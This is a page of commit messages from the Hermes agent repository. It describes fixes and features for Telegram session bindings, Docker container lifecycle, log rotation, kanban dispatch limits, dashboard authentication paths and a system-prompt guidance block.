69bea5955697c45cef153d4e8cb7ea253b91e240
4713
Commits
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db96fc60d0 |
fix(gateway): keep Telegram topic bindings aligned with compression children (#34409)
Telegram DM topic bindings persist (chat_id, thread_id) -> session_id in SQLite so reopening a topic resumes the right Hermes session. When compression rotated session_entry.session_id mid-turn, the binding row stayed pointed at the pre-compression parent. On the next inbound message in that topic the gateway reloaded the oversized parent transcript, retriggering preflight compression — sometimes in a loop. Two-pronged fix: 1. `_sync_telegram_topic_binding(source, entry, *, reason)` helper called immediately after each of the three session_id rotation sites in _handle_message_with_agent (hygiene compression, agent-result compression rotation, /compress command). Keeps future bindings fresh. 2. Read-path self-heal: when resolving an existing topic binding, walk SessionDB.get_compression_tip() forward and switch_session to the descendant instead of the stored parent. Rewrites the binding row to the tip so subsequent messages skip the walk. Heals existing stale state on the next user message without requiring a gateway restart. Skipped from competing PRs as not load-bearing for the bug: - advance_session_after_compression SessionStore primitive (#26204/ #28870/#33416) — preserves end_reason='compression' analytics nicety but doesn't affect routing correctness. - Cached-agent eviction on session_id mismatch — _compress_context() already mutates tmp_agent.session_id on the cached object so the in-memory agent self-corrects. - Startup repair pass (#33416) — redundant once the read path heals on the next message; one-line CLI follow-up can address bindings for topics users never reopen. Closes #20470, #29712, #33414. Acknowledges work in #23195 (@litvinovvo), #26204 (@bizyumov), #28870 (@donrhmexe), #29713 (@hehehe0803), #29945 (@eugeneb1ack), #33416 (@bizyumov). |
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48083211ef |
fix(docker): accept PUID/PGID as aliases for HERMES_UID/HERMES_GID (#25872) (#34401)
Salvages #25872 by @konsisumer against current main. NAS users (UGOS, Synology, unRAID) expect the LinuxServer.io PUID/PGID convention and bind-mount /opt/data from a host directory owned by their own UID. Without this alias those vars are silently ignored and the s6-setuidgid drop to UID 10000 leaves the runtime unable to read the volume. HERMES_UID/HERMES_GID still take precedence when both are set. The original PR targeted docker/entrypoint.sh, which is now a 27-line deprecation shim under s6-overlay (the May 2026 rework moved all bootstrap logic to docker/stage2-hook.sh, installed as /etc/cont-init.d/01-hermes-setup). Re-applied the same 2-line alias resolution at the equivalent spot in stage2-hook.sh just before the existing UID/GID remap block. Test was retargeted at docker/stage2-hook.sh; docs hunk adapted to current main's wording ("stage2 hook" + s6-setuidgid, not the obsolete "entrypoint drops via gosu") with the NAS bind-mount example preserved verbatim. Test-first regression verification: reverted just docker/stage2-hook.sh to origin/main and re-ran the new tests. Result: FAILED test_stage2_hook_resolves_puid_pgid_aliases FAILED test_puid_pgid_populate_hermes_uid_gid AssertionError: assert ':' == '1000:10' That's the exact bug shape — PUID=1000 PGID=10 silently ignored, HERMES_UID/HERMES_GID stay empty. With the salvage applied, all 4 tests pass. Closes #25872 Co-authored-by: konsisumer <11262660+konsisumer@users.noreply.github.com> |
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a0fc3df878 |
fix(browser): rewrite Camofox Docker loopback URLs (#25541)
Co-authored-by: Wysie <wysie@users.noreply.github.com> |
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00b8204cf4 |
fix: restore side-effect imports in test files (test_kanban_tools, test_command_guards)
The previous ruff prune commit removed two categories of test-file
imports whose value is the side effect of importing them, not their
binding:
tests/tools/test_kanban_tools.py — 5 sites
`import tools.kanban_tools # ensure registered`
The import itself runs tools/kanban_tools.py's @registry.register
calls; without it, the kanban tool registry is empty and
test_kanban_tools_visible_with_env_var asserts {} != {7 kanban tools}.
tests/tools/test_command_guards.py — 1 site
`import tools.tirith_security # Ensure the module is importable so we can patch it`
The comment names the requirement: keep the bare module reference
so subsequent mock.patch("tools.tirith_security.<fn>") calls find
a registered submodule.
CI failure: test (5) shard, tests/tools/test_kanban_tools.py:58
AssertionError: expected {kanban_*}, got set()
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66827f8947 |
chore: prune unused imports and duplicate import redefinitions
Remove unused imports (F401) and duplicate/shadowed import redefinitions (F811) across the codebase using ruff's safe autofixes. No behavioral changes -- imports only. - ~1400 safe autofixes applied across 644 files (net -1072 lines) - __init__.py re-exports preserved (excluded from F401 removal so public re-export surfaces stay intact) - Re-exports that are imported or monkeypatched by tests but look unused in their defining module are kept with explicit # noqa: F401 (gateway/run.py load_dotenv; run_agent re-exports from agent.message_sanitization, agent.context_compressor, agent.retry_utils, agent.prompt_builder, agent.process_bootstrap, agent.codex_responses_adapter) - Unsafe F841 (unused-variable) fixes deliberately skipped -- those can change behavior when the RHS has side effects - ruff lints remain disabled in pyproject.toml (only PLW1514 is selected); this is a one-time cleanup, not a config change Verification: - python -m compileall: clean - pytest --collect-only: all 27161 tests collect (zero import errors) - core entry points import clean (run_agent, model_tools, cli, toolsets, hermes_state, batch_runner, gateway) - static scan: every name any test imports directly from an edited module still resolves |
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a4d8f0f62a |
feat(prompt): universal task-completion guidance + local Python toolchain probe (#34340)
* fix(codex): surface error code in Responses 'failed' status errors
When a Codex Responses turn ends with status=failed, the response carries
the failure details under `response.error` as
`{code, message, param, ...}`. The previous extractor pulled only
`message`, so users seeing a rate-limit failure got a bare "Slow down"
string indistinguishable from a generic stream truncation; an
internal_error with empty message degraded to a dict dump
("{'code': 'internal_error', 'message': ''}").
Extract a `_format_responses_error()` helper that:
- prefixes `code` when both code and message are present
(e.g. 'rate_limit_exceeded: Slow down')
- falls back to the bare `code` when message is empty
- accepts both dict and attribute-style payloads (SDK and JSON-RPC paths)
- preserves the prior status-only fallback when no error payload exists
Apply the same helper at the sibling site in
`codex_app_server_session.run_turn()` so codex-CLI subprocess turn
failures get the same treatment.
Tests:
- 8 new unit tests for `_format_responses_error` covering both shapes,
empty/missing fields, non-string fields, and the status-only fallback.
- 2 regression tests on `_normalize_codex_response` for failed status
with and without a code, asserting the exact RuntimeError message.
- All 3603 tests in tests/agent/ pass.
Adapted from anomalyco/opencode#28757.
* feat(prompt): universal task-completion guidance + local Python toolchain probe
Two cross-model failure modes get a single-line answer in the cached
system prompt. Both gated by config (default on), both add zero overhead
when not needed, both verified via real AIAgent prompt builds.
## What changed
`TASK_COMPLETION_GUIDANCE` — short prompt block applied to ALL models.
Targets two failure modes observed on a real Sarasota real-estate build
task: (1) Opus stopped after writing an 85-byte stub and gave a prose
response with finish_reason=stop on call #3 of 90; (2) DeepSeek pushed
through a PEP-668 wall, then returned fabricated listings instead of
admitting the blocker. Both behaviors are model-family-agnostic, so the
guidance lives outside the existing tool_use_enforcement gate (~192
tokens, paid once per session via prefix cache).
`tools/env_probe.py` — local Python toolchain probe. Detects
python3/pip/uv/PEP-668 state and emits ONE short line in the system
prompt when something is non-default. Emits NOTHING when the env is
clean (zero token cost for normal users). Skipped entirely for remote
terminal backends (docker/modal/ssh) — they have their own probe.
Example output on a broken environment (the actual case):
Python toolchain: python3=3.11.15 (no pip module),
python=missing (use python3), pip→python3.12 (mismatch),
PEP 668=yes (use venv or uv).
## Config
Both flags live under `agent.` in config.yaml, default True:
agent:
task_completion_guidance: true # universal "finish the job" block
environment_probe: true # local Python toolchain hints
Neither addition required a `_config_version` bump — deep-merge fills
defaults in for existing user configs.
## Validation
| Test surface | Result |
|---|---|
| tests/tools/test_env_probe.py | 10/10 pass (probe unit) |
| tests/run_agent/test_run_agent.py — new classes | 8/8 pass (integration) |
| TestToolUseEnforcementConfig | 17/17 pass (no regression) |
| TestBuildSystemPrompt | 9/9 pass (no regression) |
| TestInvalidateSystemPrompt | 2/2 pass (no regression) |
| tests/agent/test_prompt_builder.py | 124/124 pass (no regression) |
| tests/hermes_cli/ | 5662/5662 pass (config defaults) |
| E2E AIAgent build (broken env) | Both blocks present, 2,178 chars |
| E2E AIAgent build (clean env) | 771-char net overhead, env probe silent |
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75d2c081c9 |
fix(logging): recover gateway.log handler from external rotation (#34349)
External rotation (logrotate, manual `mv gateway.log gateway.log.1`, another process rotating the file) leaves `_ManagedRotatingFileHandler`'s open fd pinned to the renamed inode. All subsequent writes go to the rotated backup instead of the file every operator expects to read, producing the symptom 'gateway.log frozen mid-write while agent.log keeps growing with gateway.* records'. PR #16229 fixed the original CLI->gateway init-order bug (#8404) so the handler attaches in the first place. This is the sibling fix for what happens after attach, when something external rotates underneath us. Adds a WatchedFileHandler-style inode check on emit(): if baseFilename no longer matches the open stream's (dev,ino), close the stale fd and reopen at the expected path. doRollover() refreshes the snapshot so our own rollover isn't misidentified as external. Five regression tests cover the matrix: external rename, external unlink, external truncate (must NOT trigger reopen — inode unchanged), normal doRollover() (must still work), and the end-to-end Allen-reproduction (rotate + re-call setup_logging). 55/55 tests in tests/test_hermes_logging.py pass; 5972/5972 in tests/gateway/ pass. |
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a30480bd2b |
fix(compression): prevent session-id fork from concurrent compressions (#34351)
* fix(compression): prevent session-id fork from concurrent compressions When two AIAgent instances share the same session_id (most commonly the parent-turn agent and its background-review fork, which inherits session_id verbatim via background_review.py L451), both can call compress_context() on overlapping snapshots of the same conversation. Each ends the parent and creates its own NEW child session in state.db, both parented to the same old id. The gateway SessionEntry only catches one rotation; the other becomes an orphan that silently accumulates writes — Damien's incident shape (parent 20260527_234659_e65f0e → two children, only one visible). Adds a state.db-backed per-session compression lock. Acquired before the rotation in conversation_compression.compress_context(); on failure, the caller returns messages unchanged so the auto-compress retry loop stops cleanly. TTL (5min default) reclaims locks abandoned by crashed compressors. Lock holder identity (pid:tid:agent:nonce) is preserved for diagnostics via get_compression_lock_holder(). Schema bumped 13 -> 14 to track the new compression_locks table. Reconciled additively via the existing declarative-column pattern; no data migration needed for existing DBs. Regression test reproduces Damien's shape: two threads racing _compress_context on a shared parent_sid. Without the lock the test deterministically produces 2 child sessions; with the lock, exactly 1. Covers all six compression entry points (preflight in conversation_loop, mid-turn fallback, hygiene compression in gateway, /compact, CLI /compress, TUI /compress). ACP /compress was already protected by nulling out _session_db before its compress call. * ci: trigger rerun (transient GitHub API rate limit on CodeQL workflow) |
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100536134c |
refactor(gateway): generalize topic recovery via adapter hook
Replace the runner-introspection trick in #32998 with an explicit `set_topic_recovery_fn` setter on `BasePlatformAdapter`. The gateway runner installs it once at adapter init; the adapter calls `_apply_topic_recovery(event)` before any session keying. Also apply the hook in `BasePlatformAdapter.handle_message` so the running-agent guard and pending-message queue key off the recovered thread_id too — not just the text-batch coalescence. Net change vs #32998 alone: -2 files of indirection (no `_message_handler.__self__` peek, no separate `_normalize_text_batch_source`), +1 generic mechanism (other adapters can install their own hook later). |
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5407d25599 | Fix Telegram DM topic text batch keying | ||
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40fa0c1d19 |
fix(docker): skip credential/skills/cache mounts when source is invalid (#24490) (#34331)
Salvages #24490 by @liuhao1024 against current main. The Docker daemon will silently auto-create a directory at the host path of any `-v <host>:<container>` bind mount when the host path doesn't exist. In Docker-in-Docker setups (where the outer host's real credential file isn't visible inside the agent's parent container), this leaves a directory at the credential mount source — and the inner `docker run` then refuses to mount a directory over a file destination with exit 125. Add defensive shape guards to all three mount loops in DockerEnvironment.__init__: * credentials (expected: file) — skip + warn on directory or missing * skills (expected: dir) — skip + warn when not a directory * cache (expected: dir) — skip + warn when not a directory Failed mounts surface as WARN logs rather than crashing the container start. Existing well-formed sources mount unchanged. The original PR's branch was on a pre-container-reuse-rework base (May 12) and conflicted with the post-May-28 driver work (label tagging, container reuse, orphan reaper). Reconstructed the same intent on current main; the three guard blocks slot cleanly into `tools/environments/docker.py` around the existing mount loops. Three new tests pinned in `tests/tools/test_docker_environment.py`: directory-source skip, missing-source skip, valid-file mounts. Test- first regression verification: reverted just the production code to `origin/main` and confirmed the new tests fail with `'deleted_token.json' is contained here: /root/.hermes/...` — the fixed code makes them pass. Full file passes (54/54). Closes #24490 Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com> |
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69b74c15a3 |
fix(kanban): CLI dispatch honors max_in_progress/max_spawn from config; swap missing 'avoid-ai-writing' skill for bundled humanizer (#33488, #29415) (#34337)
Two small bugs in the kanban dispatcher's CLI surface that were silently degrading two distinct workflows. Bundled because the test files and the surrounding code surface overlap. ## #33488: hermes kanban dispatch ignored kanban.max_in_progress / max_spawn The CLI wrapper in hermes_cli/kanban.py:_cmd_dispatch only passed default_assignee and max_in_progress_per_profile through to dispatch_once. The global concurrency cap (kanban.max_in_progress) and the per-tick spawn limit (kanban.max_spawn) were silently dropped, so operators using 'hermes kanban dispatch' as a one-shot or in a custom loop couldn't reach either cap from config — only the gateway embedded dispatcher honored them. Fix: read both keys from config in the same coerce-positive-int helper that already handled max_in_progress_per_profile. CLI --max still wins over config kanban.max_spawn when both are present (explicit operator signal beats default), but absent --max falls back to config. ## #29415: synthesizer crashed in retry loop on missing skill hermes_cli/kanban_swarm.py:212 hardcoded skills=['avoid-ai-writing'], a skill that doesn't exist in the bundled skills/ directory or any registered hub source. Every synthesizer worker spawn failed at CLI startup with 'Unknown skill(s): avoid-ai-writing' before the agent loop even started — the dispatcher retried up to failure_limit (default 2), then auto-blocked the task, then dependency rules could re-promote it, looping forever until manual intervention. Fix: replace with 'humanizer' which is bundled at skills/creative/humanizer/SKILL.md (description: 'Humanize text: strip AI-isms and add real voice'). That's the obvious intent behind the 'avoid-ai-writing' name, and the skill is platform-portable (linux/macos/windows) so it works on every supported runtime. ## Tests tests/hermes_cli/test_kanban_cli_dispatch_passthrough.py — 4 cases: - CLI passes max_in_progress / max_spawn / default_assignee / max_in_progress_per_profile from config to dispatch_once - CLI --max flag overrides config kanban.max_spawn - Invalid cap values (0, -1, 'abc', '1.5') silently fall through to None - kanban_swarm.py no longer references 'avoid-ai-writing' AND the replacement 'humanizer' skill exists at the expected on-disk path Kanban suite: 468/468 pass (was 464; +4 new regression tests). |
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bfecfabd0f |
Revert "feat(skills): integrate NVIDIA/skills as a trusted skills hub tap"
This reverts commit
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44df52005a |
fix(tools): guard Path.home() against PermissionError in has_direct_modal_credentials (#33528)
When HOME=/root (Docker containers) and the process runs as unprivileged user (hermes, uid 10000), Path.home() / '.modal.toml' raises PermissionError because /root/ is inaccessible. This crashes the dashboard /api/skills endpoint. Catch PermissionError/OSError and treat as 'no config file'. Env vars still take priority (tested). Fixes #33525 |
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9992e32db3 |
feat(skills): integrate NVIDIA/skills as a trusted skills hub tap
NVIDIA's verified skills catalog (https://github.com/NVIDIA/skills) ships NVIDIA-signed skills for CUDA-X, AIQ, cuOpt, cuPyNumeric, DeepStream, NeMo, NemoClaw and the Skill Card Generator — each bundle carrying a detached `skill.oms.sig` signature, a governance `skill-card.md`, and `evals/`. The sync pipeline drops any skill missing those artifacts before publishing. Changes: - tools/skills_hub.py: add NVIDIA/skills to GitHubSource.DEFAULT_TAPS so it lights up in `hermes skills browse`, `hermes skills search <q>`, the twice-daily skills-index build, and the docs-site Skills Hub page (https://hermes-agent.nousresearch.com/docs/skills) automatically. - tools/skills_guard.py: add NVIDIA/skills to TRUSTED_REPOS so installs resolve to trust_level="trusted" (looser install policy than community). - website/scripts/extract-skills.py: map the `github` source id to a friendly "NVIDIA" pill label for the docs hub page. - website/src/pages/skills/index.tsx: register the NVIDIA pill (green #76b900) and slot it into SOURCE_ORDER after HuggingFace. - website/docs/user-guide/features/skills.md (+ zh-Hans i18n): document the new default tap and the expanded trusted-repos list. - tests/tools/test_skills_guard.py: assert NVIDIA/skills resolves to "trusted" (including the skills-sh-wrapped form). - tests/tools/test_skills_hub.py: invariant — every TRUSTED_REPOS entry must be reachable via GitHubSource.DEFAULT_TAPS (prevents future trusted repos from being declared but never browseable). Validation: - Live GitHub fetch: `src.fetch('NVIDIA/skills/skills/aiq-deploy')` pulled 17 files including SKILL.md (13 KB), skill-card.md, skill.oms.sig, and the full references/ + evals/ tree. trust_level="trusted". - Live inspect resolved name, description, and trust correctly. - All 193 existing skills_guard + skills_hub tests still pass. |
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042c1d6bb0 | test: cover fallback dropped-turn handoff | ||
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6dc068ef04 | fix: broaden deterministic compression fallback coverage | ||
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e785c0ad70 | fix: preserve context when summary generation fails | ||
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c834624f7d | fix(voice): honor PIPEWIRE_REMOTE in PortAudio fallback checks (#33473) | ||
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a618789dba |
fix(dashboard-auth): share /api/* public allowlist between legacy and OAuth gates
Two parallel public-path allowlists drifted: _PUBLIC_API_PATHS in
hermes_cli/web_server.py (legacy _SESSION_TOKEN middleware) and
_GATE_PUBLIC_PREFIXES in hermes_cli/dashboard_auth/middleware.py
(OAuth gate). The legacy list included /api/status (documented as a
non-sensitive read-only liveness target); the OAuth gate's list did not.
Effect: every wildcard-subdomain agent surfaced as STARTING/down to the
portal even though the dashboard was serving correctly. Nous account
service (src/server/agents/fly-provider.ts
getInstanceRuntimeStatus) fetches ``/api/status`` without a cookie
as its sole liveness probe; the OAuth gate's 401 looked identical to
'agent dead' on the portal side.
Fix: lift the allowlist into hermes_cli/dashboard_auth/public_paths.py
and have both middlewares import it. _path_is_public now consults
the shared frozenset first, then falls back to the gate's
auth-bootstrap/static prefix list. Future additions to the public list
hit both gates automatically.
Endpoint inventory (verified safe to remain public):
* /api/status — version, gateway state, active session count,
auth-gate shape. Portal liveness probe target.
* /api/config/defaults — config-defaults feed for the SPA's Config page
* /api/config/schema — config schema for the SPA's Config page
* /api/model/info — model catalogue metadata (context windows)
* /api/dashboard/themes — theme manifests for the skin engine
* /api/dashboard/plugins — plugin manifests for the dashboard
No user data, no session content, no secrets. Same shape an external
monitoring agent would hit on /healthz.
Tests:
* New: test_gated_status_is_public (regression guard with the NAS
fly-provider.ts liveness-probe rationale spelled out in the docstring)
* New: test_other_public_api_paths_are_public_under_gate (parametrised
over the rest of PUBLIC_API_PATHS — proves 401 / 302-to-login is
never the response)
* New: docker integration check #3 in
test_dashboard_oauth_gate_engaged_by_default — /api/status
remains 200 under the gate AND reports auth_required=True so the
portal can distinguish modes
* Updated: test_full_login_round_trip_unlocks_gated_api now probes
/api/sessions instead of /api/status (status is public, so it
can no longer distinguish 'logged in' from 'gate accidentally
disabled')
* Updated: TestApi401Envelope (the no-cookie / invalid-cookie /
dead-cookie tests) probes /api/sessions for the same reason
* Updated: docker integration check #2 in
test_dashboard_oauth_gate_engaged_by_default probes
/api/sessions to prove the gate is intercepting
* Removed: dead _login() helper in
test_dashboard_auth_status_endpoint.py (no longer needed since
/api/status is reachable cold)
Companion to docs/handover/hermes-agent-dashboard-s6-insecure-fix.md
(the --insecure flag fix that shipped earlier).
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3b6347af15 |
feat(kanban): default_assignee fallback + per-profile concurrency cap (#27145, #21582) (#34244)
Two related dispatcher behaviors that have been missing for a while. ## kanban.default_assignee (#27145) Reporter (@agarzon): dashboard creates a task without an assignee, task parks in 'ready' forever even though the operator's intent ('default') is perfectly clear. The dispatcher already had a 'skipped_unassigned' bucket but no fallback routing — users had to manually type 'default' in the assignee field every time. Behavior: when 'kanban.default_assignee' is set in config.yaml, the dispatcher applies that assignee to any unassigned ready task before deciding whether to spawn. The row is mutated (assignee column + an 'assigned' event with source='kanban.default_assignee' for the audit trail). Empty/whitespace config value = no fallback, preserving the existing skipped_unassigned behavior. Dry-run mode reports what WOULD happen via the new 'auto_assigned_default' bucket on DispatchResult, but does NOT mutate the DB — operators using 'hermes kanban dispatch --dry-run' see the routing decision before committing. ## kanban.max_in_progress_per_profile (#21582) Reporter (@edwardchenchen, @simlu, 4 reactions): fan-out workloads saturate one profile's local model / API quota / browser pool while other profiles sit idle. The existing global 'max_in_progress' caps total workers but doesn't balance across profiles. Behavior: when 'kanban.max_in_progress_per_profile' is set to a positive int, the dispatcher tracks per-assignee running counts (one query at tick start) and refuses to spawn for any assignee already at the cap. Tasks blocked this way go to a new 'skipped_per_profile_capped' bucket on DispatchResult as (task_id, assignee, current_running_count) tuples — NOT an operator-actionable failure, just 'try again next tick when the profile has capacity'. Pre-existing 'running' tasks count against the cap (verified via regression test). The cap respects dry_run mode by incrementing its in-memory counter on each would-be spawn so dry_run reports the same balanced subset that a real tick would. Invalid cap values (0, negative, non-int, None) are treated as 'no cap', preserving the existing behavior. Backward-compatible for installs that don't set the config. ## Surfaces - 'hermes kanban dispatch' CLI now prints 'Auto-assigned to kanban.default_assignee=X: ...' and 'Deferred (X at per-profile cap, N running): ...' lines, plus matching JSON keys in --json output. - Gateway dispatcher logs the configured values at startup ('default_assignee=X', 'max_in_progress_per_profile=N'). - 'kanban.max_in_progress_per_profile' added to DEFAULT_CONFIG with inline docs. ## Validation - tests/hermes_cli/test_kanban_default_assignee.py (6 cases): no-cap baseline, auto-assign + DB mutation, dry-run reports without mutating, whitespace treated as None, explicit assignees untouched, DispatchResult field schema. - tests/hermes_cli/test_kanban_per_profile_cap.py (9 cases including 4 parametrized): no-cap baseline, balanced 2-profile fan-out, pre-existing running counts against cap, invalid cap values (0/-1/'abc'/None), capped tasks dispatched on next tick after running task completes, DispatchResult field schema. - Broader kanban suite: 464/464 pass (was 449 baseline; +15 new regression tests across both features). ## Credit #27145 — Jimmy Johansson reported the dispatcher skipped-unassigned gap; @agarzon scoped the simpler 'honor kanban.default_assignee' fix that matches the existing config knob. #21582 — @edwardchenchen filed the per-profile cap ask after hitting model 429s on fan-out research projects; @simlu confirmed the same pain on local-model setups. |
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2f0f03c40d |
fix(docker): cleanup_vm() default honors persist mode (don't kill container on session close)
Commit 4 made cleanup_vm() default to force_remove=True, which was wrong: cleanup_vm() is called from AIAgent.close() (TUI session close at tui_gateway/server.py:2991, gateway session teardown at gateway/run.py:3569) and from per-turn cleanup (agent/chat_completion_helpers.py:1517). All three are session-lifecycle events that should honor persist mode, not explicit user-initiated teardown. Ben reported the symptom: container shared between multiple TUI sessions (good) but killed as soon as any session closed (bad). With force_remove=True as the default, every `session.close` JSON-RPC tore down the container. The fix is to flip cleanup_vm()'s force_remove default back to False. The kwarg still exists for future explicit-teardown paths (`/reset`-style flows, "destroy my sandbox" commands) that haven't been wired up yet. Two new unit tests pin the behavior: * `test_cleanup_vm_default_honors_persist_mode` — asserts `cleanup_vm(task_id)` does neither docker stop nor docker rm on a persist-mode container (the regression Ben caught). * `test_cleanup_vm_force_remove_tears_down_persist_container` — asserts the kwarg still flows through the runtime-signature-inspection plumbing to the backend's cleanup(). E2E verified against real Docker (in addition to all 17 existing checks): ✓ Default cleanup_vm() leaves persist-mode container running ✓ cleanup_vm(force_remove=True) removed the container Refs #20561 |
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5c2170a7c6 |
fix(docker): persist-mode cleanup is no-op; add force_remove kwarg (#20561)
The first iteration of this PR did docker stop on every cleanup in persist mode (only skipping docker rm). Ben caught this as contradicting the documented "ONE long-lived container shared across sessions" semantics: stopping the container on every Hermes /quit kills any background processes inside (npm watchers, pytest watchers, long-running scripts) — exactly the case persist mode is supposed to protect. This commit splits the cleanup paths cleanly: * **Persist mode (default)** — cleanup() is a NO-OP for the container. Container stays running, processes survive, next Hermes process attaches via the existing label probe in ~ms instead of waiting for docker start. Resource reclamation happens via the orphan reaper at next startup (2 × lifetime_seconds threshold), which covers the SIGKILL / OOM / abandoned-laptop cases. * **Opt-out mode (persist_across_processes=False)** — unchanged: docker stop + docker rm -f on cleanup as before. * **Explicit teardown** — new cleanup(force_remove=True) kwarg overrides persist mode and tears the container down unconditionally. cleanup_vm(task_id) now defaults to force_remove=True since it's the user-driven reset path (called from AIAgent.close(), /reset-style flows, and the idle reaper's per-turn cleanup). The idle reaper in _cleanup_inactive_envs calls env.cleanup() directly with no kwargs, so idle persist-mode envs are no-op'd — the container survives the in-process pop and the next tool call re-probes via labels. No state leak: _container_id is still cleared on the in-process handle. E2E verified against real Docker: ✓ Container is still running after cleanup() ✓ Background process (sleep loop) survived cleanup() ✓ Filesystem state preserved across cleanup() ✓ In-process container_id cleared (next __init__ will re-probe) ✓ Background process visible from reused env (no docker start happened) ✓ force_remove=True removed the container even in persist mode ✓ cleanup_vm() removed the container (defaults to force_remove=True) Test changes: * Replaces `test_cleanup_with_persist_only_stops_no_rm` with `test_cleanup_with_persist_is_noop_for_container` — asserts neither stop nor rm runs in persist mode, and the in-process handle is cleared so re-probe works. * Adds `test_cleanup_force_remove_stops_and_rms_even_in_persist_mode` — covers the new kwarg. * Updates `test_cleanup_uses_subprocess_run_not_detached_shell` and `test_wait_for_cleanup_after_cleanup_returns_true` to pass `force_remove=True` so they actually exercise the docker code path (default no-op would trivially pass). cleanup_vm() forwards `force_remove` only to backends whose cleanup() accepts the kwarg (currently just DockerEnvironment) via runtime signature inspection — Modal/Daytona/SSH `cleanup()` signatures are unchanged. Refs #20561 |
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d77d877665 |
fix(docker): startup orphan reaper for crashed-process containers
The cleanup-fix in the previous commit handles the graceful-exit leak: a
Hermes process that runs ``atexit`` will now actually wait on the docker
stop/rm worker thread, so containers either survive (persist mode) or are
fully removed (opt-out mode) by the time the interpreter exits.
But ``atexit`` doesn't fire on SIGKILL, OOM-kill, or terminal-window
close. Containers from those exits stay parked with no surviving Python
process to reuse or remove them, so they accumulate until the operator
intervenes with ``docker rm -f``. The cleanup-fix doesn't help this class
— there's no live cleanup() to fix.
This commit adds the safety net: a startup orphan reaper that runs once
per Hermes process and removes long-Exited hermes-labeled containers
that the prior commit couldn't reach.
Implementation:
* New ``reap_orphan_containers()`` in ``tools/environments/docker.py``.
Filters: ``label=hermes-agent=1`` + ``status=exited`` + (optional)
``label=hermes-profile=<current>``. Per-container ``docker inspect``
parses ``State.FinishedAt`` (with nanosecond-precision trimming for
Python's microsecond-bound ``fromisoformat``); containers older than
the threshold get ``docker rm -f``'d. The ``status=exited`` filter is
load-bearing — a running container may belong to a sibling Hermes
process whose reuse path will pick it up; killing it would crash the
sibling mid-command. Single-container failures are logged and the
sweep continues to the next candidate.
* New ``_maybe_reap_docker_orphans()`` helper in
``tools/terminal_tool.py``. Wired into ``_create_environment()`` for
``env_type == "docker"``. Gated by:
- ``terminal.docker_orphan_reaper: true`` (default; opt-out for
operators running multiple Hermes processes in the same profile
who don't trust the conservative defaults)
- ``_docker_orphan_reaper_ran`` module flag with double-checked
locking — parallel subagents and RL rollouts don't trigger N
concurrent docker ps storms
- Age threshold = ``2 × TERMINAL_LIFETIME_SECONDS`` with a 60s floor
(so ``TERMINAL_LIFETIME_SECONDS=0`` doesn't race the user's own
setup)
- Profile scoping — a research profile NEVER reaps the default
profile's stragglers
- Exception swallow — a janitor failure must never block container
creation
* New config ``terminal.docker_orphan_reaper`` wired through all four
config-bridge sites (cli.py, gateway/run.py, hermes_cli/config.py,
tests/conftest.py) and pinned by
``test_docker_orphan_reaper_is_bridged_everywhere``.
Coverage:
* 9 new unit tests in test_docker_environment.py — happy path, recent-
container sparing, profile scoping, unparseable-timestamp safety,
docker-ps-failure handling, partial-failure continuation, nanosecond
timestamp parsing, zero-value FinishedAt rejection.
* 6 new integration tests in test_docker_orphan_reaper_integration.py
— once-per-process gate, disable-flag respected, lifetime doubling
with 60s floor, current-profile filter wiring, exception swallow.
* 1 new bridge-invariant regression test.
Closes #20561 (combined with the two prior commits on this branch).
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ac8e238bc8 |
fix(docker): reuse containers across processes + fix cleanup leaks
The Docker backend docs claim "Single persistent container — ONE long- lived container shared across sessions, /new, /reset, and delegate_task subagents. Stopped/removed on shutdown." In practice the code only honored that contract within a single Python process via the in-memory \`_active_environments[task_id]\` cache. Every \`hermes chat\` invocation spawned a fresh \`hermes-<hex>\` container; older containers piled up in \`Exited\` state and accumulated until manual \`docker rm\` (issue #20561). Three root causes, all addressed by this commit: 1. No cross-process container discovery. 2. \`cleanup()\` used fire-and-forget \`subprocess.Popen("... &", shell=True)\` which raced with parent-process exit — when Python exited promptly the detached shell child got killed mid-\`docker stop\`, leaving stopped containers behind. 3. The \`docker rm\` step in cleanup was gated on \`not self._persistent\` (the bind-mount-persistence flag). Default config sets \`container_persistent: true\`, so the default happy path skipped \`rm\` entirely — even when the user explicitly didn't want cross-process reuse, containers leaked. Fix: * Add \`DockerEnvironment.__init__(persist_across_processes=True)\`. When true, init probes \`docker ps -a --filter label=hermes-agent=1 --filter label=hermes-task-id=<task> --filter label=hermes-profile=<profile>\` and reuses a matching container (running → attach; stopped → \`docker start\` → attach; \`docker start\` failure → fall through to a fresh \`docker run\`). Multiple matches prefer the running one, with the stragglers left for the orphan reaper (next commit) to clean up. * Rewrite \`cleanup()\`. Uses \`subprocess.run(..., timeout=30)\` on a daemon \`threading.Thread\`, not the racy \`Popen(... &)\`. The \`_persistent\` guard is dropped on the \`rm\` step — \`rm\` now runs whenever \`persist_across_processes\` is false, regardless of the bind-mount-persistence setting. The leak class is gone in all combinations. * Add \`wait_for_cleanup(timeout)\`. \`tools/terminal_tool.py\`'s atexit hook calls this on every active env, blocking up to 15s for the cleanup thread before interpreter exit. Without this, \`hermes /quit\` raced the daemon-thread teardown and dropped the stop/rm work. * New config \`terminal.docker_persist_across_processes\` (default \`true\` — restores the documented contract). Set \`false\` for hard per-process isolation. Wired through all four config-bridge sites (cli.py env_mappings, gateway/run.py _terminal_env_map, hermes_cli/config.py _config_to_env_sync, tests/conftest.py env-strip list); regression-pinned by \`test_docker_persist_across_processes_is_bridged_everywhere\` matching the existing pattern for docker_run_as_host_user / docker_env. Reuse intentionally does NOT compare image / mounts / resources — only the labels. Operators changing those settings should set \`docker_persist_across_processes: false\` (or \`docker rm -f\` the labeled container) to force a fresh start. This keeps the probe cheap and the failure mode obvious. Coverage: 12 new unit tests in tests/tools/test_docker_environment.py covering reuse paths (running, stopped, fallback, opt-out, duplicate preference) and cleanup behavior (persist-mode no-rm, opt-out always-rm, no-Popen, wait_for_cleanup semantics, partial-init safety). Plus one config-bridge regression pin. Refs #20561 |
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8d129d013b |
fix(docker): tag containers with hermes-agent labels for identification
